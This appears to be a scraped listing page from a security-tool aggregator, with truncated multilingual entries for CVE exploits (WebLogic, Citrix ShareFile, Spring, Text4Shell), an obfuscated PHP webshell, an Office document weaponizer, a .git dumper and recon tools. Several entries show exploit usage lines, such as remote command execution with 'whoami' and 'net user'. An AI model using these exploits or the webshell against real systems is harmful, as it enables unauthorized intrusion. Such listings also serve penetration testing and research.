Exploit for CVE-2026-90817

CVE-2026-90817 — REDCap Survey Passthru + Data Import RCE Pyt...

EUVD-2026-85783

A flaw has been found in Edimax BR-6428nC 1.16. The impacted element is the function websRedirect of the component goform Handler. Executing a manipulation of the argument submit-url can lead to open redirect. The attack may be launched remotely. The exploit has been published and may be used...

CVE-2026-96892

A flaw has been found in Edimax BR-6428nC 1.16. The impacted element is the function websRedirect of the component goform Handler. Executing a manipulation of the argument submit-url can lead to open redirect. The attack may be launched remotely. The exploit has been published and may be used...

rome-webshell

Rome WebShell 一个强大而令人愉悦的PHP WebShell 这是一个轻量级PHP webshell ，仅使用原生JavaScript和CSS， 没有jQuery/Bootstrap的臃肿 。 特性 完全交互式文件浏览器 ，浏览目录并即时下载文件 直接从浏览器上传文件 执行命令 ，无需对负载进行'URL编码' MD5密码保护 ，例如在King of The Hill期间限制访问很方便 完全CSS动画，响应式 且令人愉悦的FlatUI界面 易于自定义，使用CSS变量轻松应用你喜欢的颜色 已混淆，此仓库包含一个已经混淆的版本 使用方法 0...

galer

galer root@kitploit: /' '/'' | | /'' ' | || | | | '\ ','\ | /' @dwisiswant0 A fast tool to fetch URLs from HTML attributes by crawl-in. Inspired by the @omespino Tweet, which is possible to extract src, href, url and action values by evaluating JavaScript through Chrome DevTools Protocol...

galer

galer root@kitploit: /' '/'' | | /'' ' | || | | | '\ ','\ | /' @dwisiswant0 一个通过爬取 HTML 属性快速获取 URL 的工具。灵感来源于 @omespino 的推文，该推文展示了通过 Chrome DevTools 协议执行 JavaScript 来提取 src、href、url 和 action 值的可能性。 资源 安装 从二进制文件安装 从源码安装 从 GitHub 安装 用法 基本用法 参数 示例 单个 URL 从列表中获取 URL 从标准输入获取 作为库使用 待办事项 帮助与 Bug 报告 许可证...

fhex

Fhex - 功能齐全的十六进制编辑器 本项目旨在开发一个轻量级但实用的工具。原因在于现有十六进制编辑器存在一些不同的限制（例如，依赖过多、缺少十六进制着色功能等）。 本项目基于 qhexedit2 、capstone 和 keystone 引擎。未来可能会增加新功能，欢迎提交 PR。 功能 块加载器 - 用于仅加载大文件的一部分，避免耗尽内存（使用 alt + 左/右箭头在块间移动）。请注意，在块模式下，所有操作（例如搜索）仅应用于当前块，但文件保存除外（整个文件被保存）。然而，每次编辑一个块后，在移动到另一个块之前请先保存，否则更改将丢失。 搜索与替换（支持...

cve-2022-42889-text4shell-docker

Instalar maven - maven-linux 1. Instalación de Maven para crear el fat jar root@kitploit: mvn clean install 2. Construir Docker root@kitploit: docker build --tag=text4shell . 3. Ejecutar Docker root@kitploit: docker run -p 80:8080 text4shell 4. Probar la aplicación root@kitploit:...

CVE-2018-2628

CVE-2018-2628 0x01 Escaneo de Nessus 0x02 K8 Tools GetShell 0x03 Consulta CMD Método de uso: root@kitploit: python cve-2018-2628.py set url :http://xx.xx.xx.xx:8001/beawlsinternal/wlscmd.jsp cmd : whoami win-xxx8cb989qh\administrator cmd : net user \WIN-XXX8CB989QH 的用户帐户...

GitHacker

GitHacker 一个多线程的 .git 文件夹利用工具。即使禁用了目录列表（DirectoryListings），也能通过暴力破解已知引用来完整重建目标仓库——包括源代码、提交历史、分支、暂存区、远程仓库和标签。 配套研究网站位于 https://githacker.pages.dev ，发布了： 一份可重现的 基准测试 ，针对其他六个掠夺工具（GitTools、dvcs-ripper、GitHack、git-dumper、dumpall、rbozburun/git-hacker）在五种 Web 服务器场景下的表现。 一套对抗性的 安全测试套件 ，针对恶意构造的 .git/...

CVE-2022-22965

CVE-2022-22965 Spring Framework/CVE-2022-22965 Vulnerability ID: CVE-2022-22965/CNVD-2022-23942/QVD-2022-1691 Reproduce the vulnerability root@kitploit: docker pull vulfocus/spring-core-rce-2022-03-29 docker run -dit -p 8080:8080 vulfocus/spring-core-rce-2022-03-29 Vulnerability detection POC It ...

wonitor

web 监控器 快速、零配置的 Web 端点变化监控器。用于比较响应，会将选定的 HTTP 标头列表和完整响应体存储在本地键值存储文件中。无需配置。 为了增加网络吞吐量，--worker 标志允许设置监控时的并发数。 返回 JavaScript 内容类型的端点默认会被美化。 添加 URL 时使用 --headersOnly 可以仅监控响应标头。 安装 通过 Go 或 二进制发布版 安装： root@kitploit: go get -u github.com/rverton/wonitor 使用 root@kitploit: λ $ ./wonitor NAME: wonitor - w...

wonitor

web monitor fast, zero config web endpoint change monitor. for comparing responses, a selected list of http headers and the full response body is stored on a local key/value store file. no configuration needed. to increase network throughput, a --worker flag allows to set the concurrency when...

doctrack

Doctrack Tool to manipulate and weaponize Office Open XML documents. Features Create Office Open XML documents Word, Excel Insert tracking pixels and UNC paths Remote Template injection Insert CustomXML parts Inspect external target URLs, metadata and Custom XML parts Installation You will need t...

doctrack

Doctrack 用于操作和武器化 Office Open XML 文档的工具。 功能 创建 Office Open XML 文档（Word、Excel） 插入跟踪像素和 UNC 路径 远程模板注入 插入自定义 XML 部件 检查外部目标 URL、元数据和自定义 XML 部件 安装 你需要下载 .Net 6.0。然后，在 Windows 上构建单个二进制文件： root@kitploit: $ git clone https://github.com/wavvs/doctrack.git $ cd doctrack/ $ dotnet publish -r win-x64 -c...

cook

COOK 一个功能强大的词列表生成器、分割器、合并器、查找器、保存器，可创建单词排列与组合，应用不同的编码/解码，以及您所需的一切。 挫败感终结者！并且可定制！ 目录 安装 配置 基础 范围 参数方式 COOK 的原料 类别 将词列表/列表/字符等全部保存到 my.yaml 函数 自定义 my.yaml ▸ 添加/更新 ▸ 删除 本地文件 / 获取 URL 方法 多重编码 打破命名惯例 💫 所有方法 cook help methods 一些用例示例 逐行合并词列表 每一步都打印 与其他工具结合 终极用法 现实生活中的使用示例： 重复运算符 和 解析规则 标志 作为库使用 在...

CVE-2021-22941

Uso python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 Referencia https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...

gitxray

Bienvenido a Gitxray Gitxray abreviatura de Git X-Ray es una herramienta de seguridad multifacética diseñada para su uso en repositorios de GitHub. Puede servir para muchos propósitos, incluyendo OSINT y Forense. gitxray aprovecha las API REST públicas de GitHub para recopilar información que de...

VibeSec-Skill

VibeSec-Skill 停止在代码中注入安全漏洞。 一个 AI 技能，将 5 年以上的漏洞赏金狩猎经验直接带入你的 AI 编码工作流程——让 LLM 模型从一开始就编写安全代码。 简介 “氛围编码”很酷，直到你的应用因错误原因出现在社交媒体上。 我们都见过这些帖子/梗： API 密钥硬编码在 JavaScript 包中 允许用户数据导出的 IDOR 漏洞 敏感页面未做身份验证 管理员面板使用弱密码 安全漏洞在被人利用之前并不显眼。如果没有正确的指导，AI 会自信地在你功能中附带易受攻击的模式并投放。 VibeSec 是一个 AI...

sift

Sift Secrets Credential and sensitive-data exposure triage for file shares. When an open share turns up, the question is never "does this repo have a leaked key". It is "what just got exposed, and what do I have to roll before close of business." sift is built for that question: high recall, a fa...